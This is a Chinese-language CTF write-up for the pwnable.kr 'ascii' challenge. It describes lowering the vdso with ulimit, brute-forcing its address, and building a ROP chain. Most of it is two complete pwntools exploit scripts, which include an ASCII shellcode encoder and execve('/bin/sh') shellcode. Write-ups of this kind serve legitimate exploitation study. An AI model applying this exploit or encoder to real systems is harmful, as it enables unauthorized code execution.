pwnable.kr "ascii"

解题思路

由于是本地利用，我们可以利用 ulimit 来控制 resource 的分配。在 ulimit -s 为8192的情况下，所有可执行的代码段都不是 ascii 字符可以表示的地址。但是 ulimit -s unlimited 之后，vdso、vvar这两个段会落在一个比较低的地址

```
gdb-peda$ vmmap
Start      End        Perm  Name
0x08048000 0x080ed000 r-xp
/media/psf/Home/workspace/CTF/pwnable/ascii/ascii
0x080ed000 0x080ef000 rw-p
/media/psf/Home/workspace/CTF/pwnable/ascii/ascii
0x080ef000 0x08113000 rw-p  [heap]
0x55555000 0x55557000 r--p  [vvar]
0x55557000 0x55558000 r-xp  [vdso]
0xfffdd000 0xffffe000 rw-p  [stack]
```

多次运行程序发现，vdso 这个段虽然地址是随机的，但是似乎只有8个 bit 是随机的，可以爆破。gdb 中 ropgadget 找一下 vdso 的 gadget，没有找到适合的，当时就以为这条路走不通。

```
gdb-peda$ ropgadget vdso
ret = 0x555576fa
popret = 0x5555771b
pop2ret = 0x5555771a
pop4ret = 0x5555778e
pop3ret = 0x5555778f
addesp_20 = 0x55557789
addesp_36 = 0x55557874
```

后来发现是 gdb 中的ropgadget只能找出一些简单的 gadget（推测这些 gadget 都是依照代码原有的执行流来的）。先在 gdb 中用 *'dumpmem ascii-vdso.dump vdso'* 命令把 vdso 这个段的内存 dump 到文件中，然后在命令行中用 ROPgadget 来找寻

```
➜  ROPgadget --binary ascii-vdso.dump
```

成功找到了可用的 gadgets，栈中也存放了0x80000000，然后就可以 ret 到0x80000000去，去执行我们的 shellcode 了。但是我们的 shellcode 必须是 ascii 的，int 0x80这样的指令明显不是 ascii。在网上找到了一篇介绍怎么构造 ascii shellcode 的文章，把这篇文章重新排版了一下，放在印象笔记里面。

放上本地利用的代码

```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='i386', os='linux', log_level='debug')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

xorcode = ""
tools = \
"""
dec esp
dec esp
dec esp
dec esp
pop edx
push 0x58494741
pop eax
xor eax, 0x58494741
dec eax
push esp
pop ecx
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad
"""
stub = """
sub eax, 0x6D6D6D40
sub eax, 0x51515140
sub eax, 0x414141ff
pushw 0x5050
pop dx
"""

_xor_off = 40

def __get_base(p, _path):
```

```
    _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
    _regex = '^.*? r-xp .*?{}.*?$'.format(_path)
    _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
    return int(_line.split('-')[0], 16)

def encode_ascii(sc):
    global xorcode
    res = ""
    i = 0
    for c in sc:
        c = ord(c)
        if c > 0x1f and c <= 0x7f:
            pass
        elif c > 0x7f:
            xorcode += "xor [eax+"+str(_xor_off+i)+"], dh\n"
            xorcode += "xor [eax+"+str(_xor_off+i)+"], bh\n"
            c = (~c & 0xff)
            c = c ^ 0x50
        else:
            xorcode += "xor [eax+"+str(_xor_off+i)+"], dh\n"
            c = c ^ 0x50
        res += chr(c)
        i = i + 1
    return res


sc =
"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31
\xc9\xcd\x80"

code_encoded = encode_ascii(sc)

offset_to_real_sc = len(asm(tools + stub + xorcode)) - _xor_off
stub = stub.replace("ff", hex((0-0x40-0x40-offset_to_real_sc)&0xff)[2:])
print "stub is:", stub
shellcode = asm(tools + stub + xorcode) + code_encoded


#######################################
_program = 'ascii'

_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0

elf = ELF('./' + _program)

```

```
if _pwn_remote == 0:
    pass
    """
    if _debug != 0:
        _source = 'source peda-session-%s.txt' % _program
        gdb.attach(p.proc.pid, execute=_source)
    """
else:
    _ssh = ssh('ascii', 'pwnable.kr', 2222, 'guest')
    p = _ssh.process('ulimit')
    print p.recvall()
    raw_input()


def is_ascii(addr):
    for i in [0, 8, 16, 24]:
        temp = ((addr << i) & 0xffffffff) >> 24
        if(temp < 31 or temp> 127):
            return False
    return True

vdso_addr = 0x555c6000
ret_12 = vdso_addr + 0x721
ret_4 = vdso_addr + 0x0950

payload = shellcode + 'A' * (172-len(shellcode)) + (p32(ret_12) +
p32(0x50505050) + p32(0x50505050) ) * 3 + p32(ret_4)*2

while True:
    if _pwn_remote == 1:
        p = _ssh.process('ascii')
    else:
        p = process('./' + _program)
        cur_vdso_addr = __get_base(p, '\[vdso\]')
        if vdso_addr == cur_vdso_addr:
            print "hit the vdso!vdso base is
{}".format(hex(cur_vdso_addr))
            _source = 'source peda-session-%s.txt' % _program
            #raw_input()
            gdb.attach(p.proc.pid, execute=_source)
        else:
            #print "no hit!vdso base is {}".format(hex(cur_vdso_addr))
            p.close()
            continue
    p.send(payload + '\x00')
    try:
```

```
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
    except EOFError:
        p.close()
        continue
    p.interactive()

```

本地利用转远程利用的时候，发现ssh 连上之后，执行p = *ssh.process(['ulimit', '-s', 'unlimited'])*,*会提示不是 shell 的内置命令，在 PATH 路径中也找不到。具体原因可能需要结合 pwntools 的源代码来分析。*
ssh.run(['ulimit', '-s', 'unlimited']) 可以执行，但是没有影响当前 shell。

```
In [17]: p=s.run('ulimit -s')
[x] Opening new channel: 'stty raw -ctlecho -echo; cd . >/dev/null 2>&1;ulimit -s'
[+] Opening new channel: 'stty raw -ctlecho -echo; cd . >/dev/null 2>&1;ulimit -s': Done
```

stty 具体是做了什么不知道。**留待之后学习。**

所以只能 ssh 登陆上 pwnable.kr，在 tmp 目录下面下载 pwntools 利用。要注意远程的环境有些地方不一样，vdso 的 gadget 地址需要改变。

远程利用的脚本：

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" dddong / AAA """

from pwn import *
import sys, os, re
context(arch='i386', os='linux', log_level='info')
context(terminal=['gnome-terminal', '-x', 'bash', '-c'])

xorcode = ""
tools = \
"""
dec esp
dec esp
```

```
dec esp
dec esp
pop edx
push 0x58494741
pop eax
xor eax, 0x58494741
dec eax
push esp
pop ecx
push edx
push ecx
push edx
push eax
push esp
push ebp
push esi
push edi
popad
"""
stub = """
sub eax, 0x6D6D6D40
sub eax, 0x51515140
sub eax, 0x414141ff
pushw 0x5050
pop dx
"""

_xor_off = 40

def __get_base(p, _path):
    _vmmap = open('/proc/%d/maps' % p.proc.pid).read()
    _regex = '^.*? r-xp .*?{}.*?$'.format(_path)
    _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0]
    return int(_line.split('-')[0], 16)

def encode_ascii(sc):
    global xorcode
    res = ""
    i = 0
    for c in sc:
        c = ord(c)
        if c > 0x1f and c <= 0x7f:
            pass
        elif c > 0x7f:
            xorcode += "xor [eax+"+str(_xor_off+i)+"], dh\n"
            xorcode += "xor [eax+"+str(_xor_off+i)+"], bh\n"
```

```
            c = (~c & 0xff)
            c = c ^ 0x50
        else:
            xorcode += "xor [eax+"+str(_xor_off+i)+"], dh\n"
            c = c ^ 0x50
        res += chr(c)
        i = i + 1
    return res


sc = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

code_encoded = encode_ascii(sc)

offset_to_real_sc = len(asm(tools + stub + xorcode)) - _xor_off
stub = stub.replace("ff", hex((0-0x40-0x40-offset_to_real_sc)&0xff)[2:])
shellcode = asm(tools + stub + xorcode) + code_encoded


########################################
_program = '/home/ascii/ascii'

_pwn_remote = 0
_debug = int(sys.argv[1]) if len(sys.argv) > 1 else 0


if _pwn_remote == 0:
    pass
    """
    if _debug != 0:
        _source = 'source peda-session-%s.txt' % _program
        gdb.attach(p.proc.pid, execute=_source)
    """
else:
    _ssh = ssh('ascii', 'pwnable.kr', 2222, 'guest')
    p = _ssh.process('ulimit')
    print p.recvall()
    raw_input()


vdso_addr = 0x555c6000
ret_12 = vdso_addr + 0xc75
ret_4 = vdso_addr + 0xc78

```

```
payload = shellcode + 'A' * (172-len(shellcode)) + (p32(ret_12) +
p32(0x50505050) + p32(0x50505050) ) * 3 + p32(ret_4)*2

while True:
    if _pwn_remote == 1:
        p = _ssh.process('ascii')
    else:
        p = process(_program)
    """
    cur_vdso_addr = __get_base(p, '\[vdso\]')
    if vdso_addr == cur_vdso_addr:
    print "hit the vdso!vdso base is {}".format(hex(cur_vdso_addr))
    _source = 'source peda-session-%s.txt' % _program
    raw_input()
    #gdb.attach(p.proc.pid, execute=_source)
    else:
    #print "no hit!vdso base is {}".format(hex(cur_vdso_addr))
    p.close()
    continue
    """
    p.send(payload + '\x00')
    try:
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
        p.recv(timeout=1)
    except EOFError:
        p.close()
        continue
    p.interactive()

```

心得

1. 本地利用和远程利用（nc）的很重要的差别就是本地利用可以设置程序可以使用的资源大小。32位的系统下ulimit -s unlimited可以让 vdso、vvar 段 从0xff 开头的高地址，固定到0x555开头的低地址，而且地址只有8bit 是随机的。
2. 一开始 shellcode 是使用了 pwntools 里面自带的，发现太长了，导致最终的 sc 超出了172个字节，后来在 shell-storm.org 上找了个只有21个字节的 shellcode
3. 针对 shellcode 的可用字符限制一般是没什么卵用的，因为我们可以 encode 啊。

困惑

1. 不知道为什么程序运行的时候会把输入 copy 到0x80000001开始的地方，0x80000000这个字节始终是0x00。第二天起来这个问题又消失了，怎么也复现不了。